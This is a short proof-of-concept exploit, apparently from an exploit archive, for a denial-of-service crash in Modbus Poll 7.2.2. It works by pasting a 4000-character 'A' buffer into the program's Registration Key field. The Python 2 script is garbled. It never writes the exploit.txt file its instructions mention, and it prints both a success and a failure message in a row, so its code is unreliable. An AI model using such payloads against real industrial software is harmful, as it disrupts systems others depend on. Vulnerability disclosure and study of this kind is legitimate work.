# Exploit Title: Modbus Poll 7.2.2 - Denial of Service (PoC)
# Discovery by: Cemal Cihad ÇİFTÇİ
# Discovery Date: 2018-10-19
# Tested Version: 7.2.2
# Vulnerability Type: DOS
# Tested on OS: Windows XP Professional Service Pack 3
# Vendor Homepage: https://www.modbustools.com
# Download Link: https://www.modbustools.com/download.html
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".
# Now start the program. Now when you are inside of the program click Connection button and
# click "connect". It will ask you for registration key. In the field: "Registration Key"
# paste the copied content from "exploit.txt".
# Now click "OK" and see a crash!
buffer = "A" * 4000
print "[+] Creating %s bytes evil payload.." %len(buffer)
print "[+] File created!"
print "File cannot be created"